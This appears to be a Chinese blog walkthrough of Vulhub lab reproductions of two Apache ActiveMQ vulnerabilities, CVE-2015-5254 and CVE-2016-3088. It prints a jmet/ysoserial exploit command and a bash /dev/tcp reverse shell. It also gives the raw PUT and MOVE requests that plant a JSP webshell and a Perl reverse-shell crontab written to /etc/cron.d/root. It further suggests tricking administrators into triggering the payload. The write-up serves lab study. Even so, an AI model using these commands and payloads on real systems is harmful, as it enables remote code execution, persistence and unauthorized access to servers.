[Vulhub] ActiveMQ漏洞


ActiveMQ 反序列化漏洞 (CVE-2015-5254)

0x00 漏洞描述

Apache ActiveMQ 是由美国 Pachitea(Apache)软件基金会开发的开源消息中间件,支持 Java 消息服务、集群、Spring 框架等。

Apache ActiveMQ 5.13.0 之前的 5.x 版本安全漏洞,该程序造成的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化Java Message Service (JMS) ObjectMessage 对象,利用该漏洞执行任意代码。


0x01 影响版本

Apache ActiveMQ 5.x < 5.13.0


0x02 漏洞描述

漏洞利用过程如下:

  1. 生成序列化的有效负载(可以使用 ysoserial);
  2. 将有效负载发送到端口 61616;
  3. 访问web管理页面并读取序列化消息,然后就可以触发漏洞。

为了利用这个环境,使用jmet(Java Message Exploitation Tool)。首先下载jmetjar文件,在同一目录下创建名为external的文件夹(否则可能会出现文件夹不存在的错误)


0x03 漏洞复现

jmet是使用ysoserial生成Payload并发送(ysoserial自带jar,我们不需要重新下载),所以我们需要选择一个可以在ysoserial中使用的gadget,比如 ROME:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

此时,一个名为 event 的队列将被添加到目标 ActiveMQ 中,访问http://your-ip:8161/admin/browse.jsp?JMSDestination=Event以查看此队列中的所有消息(账户:admin/admin):
在这里插入图片描述
单击此消息触发命令执行,进入容器看到/tmp/success已经创建成功
在这里插入图片描述
用反弹shell的命令替换重用:

bash -i >& /dev/tcp/your-ip/4444 0>&1

命令需要进行编码再使用:https://www.jackson-t.ca/runtime-exec-payloads.html
在这里插入图片描述
值得注意的是,通过网页管理页面访问消息并触发漏洞需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接来触发,或者伪装成其他服务的合法消息需要等待客户端访问时触发。


ActiveMQ 任意文件写入漏洞 (CVE-2016-3088)

0x00 漏洞描述

ActiveMQ web控制台分为三个应用,adminapifileserver,其中 admin 为管理员页面,api 为接口,fileserver 为存放文件的接口;admin 和 api 需要登录才可以使用,fileserver 不需要登录。

fileserver 是一个 RESTful API 接口。我们可以通过GET、PUT、DELETE等HTTP请求来读写其中存储的文件。设计目的是为了弥补消息队列操作无法传输和存储二进制文件的缺陷,但后来发现它的使用率不高、文件操作容易出现漏洞。所以ActiveMQ在5.12.x~5.13.x中默认关闭了fileserver应用(可以在conf/jetty.xml中打开);在 5.14.0 之后,文件服务器应用程序被完全删除。

漏洞出现在 Fileserver 应用中,fileserver 支持写文件(但不解析JSP),同时支持移动文件(MOVE请求)。只需要写入一个文件,然后使用移动请求将其移动到任何位置,从而导致任意文件写入漏洞。

环境监听61616端口和8161端口,其中8161是web控制台端口。此漏洞出现在 Web 控制台中。


0x01 影响版本

Apache ActiveMQ 5.0.0 - 5.13.2
Apache ActiveMQ 在 5.12.x~5.13.x 中默认关闭了fileserver应用(可以在conf/jetty.xml中打开)


0x02 漏洞分析

原理就是fileserver支持写文件(但不解析JSP),同时支持移动文件(MOVE请求)。所以,只需要写入一个文件,然后使用移动请求将其移动到任何位置,从而导致任意文件写入漏洞。

三种方式:1、编写Webshel​​l;2、写入cron或ssh key等文件;3、编写jar或jetty.xml等库和配置文件。

写 webshel​​l 的好处是方便,但是 fileserver 不解析 jsp,admin 和 api 都需要登录才能访问;
写 cron 或者 ssh key 的好处是直接反向 Shell,但是需要 root 权限;
写 jar 有点麻烦(需要jar后门),写 xml 配置文件,这个方法比较靠谱,但是需要知道ActiveMQ的绝对路径。


0x03 漏洞复现

弱口令 admin/admin 登录,查看ActiveMQ版本为 5.11.1,存在漏洞:
在这里插入图片描述

写入Webshelll

webshell 需要写在 admin 或者 api 应用中,两个应用都需要登录才能访问,访问http://your-ip:8161/admin/test/systemProperties.jsp查看ActiveMQ的绝对路径:
在这里插入图片描述
使用 PUT 方法在 fileserver 应用中写入 webshell,返回状态码204说明文件写入成功:

PUT /fileserver/tmp.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976

webshell...

在这里插入图片描述
但 fileserver 应用不解析jsp文件,需要使用 MOVE 方法移动到 api 或 admin 文件夹:

MOVE /fileserver/tmp.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/shell.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

在这里插入图片描述
访问 webshell(需要登录):
在这里插入图片描述

写crontab反弹shell

这是一种比较稳定的方法,该方法需要以 root 身份运行ActiveMQ,否则将无法写入 cron 文件。先上传cron配置文件(注意换行必须是\n,不是\r\n,否则crontab执行会失败):

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="your-ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

在这里插入图片描述
移动至文件/etc/cron.d/root
在这里插入图片描述
如果以上两个请求都返回204,则写入成功。等待反向shell:
在这里插入图片描述

写入jetty.xml或jar

理论上我们可以覆盖 jetty.xml 去掉 admin 和 api 的登录限制,然后写 webshel​​l(需要重启服务生效);

在某些情况下,jetty.xml 和 jar 的所有者是 web 容器的用户,因此编写 crontab 的成功率更高;

jetty.xml配置只需要将身份认证的 true 改为 false 即可。


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值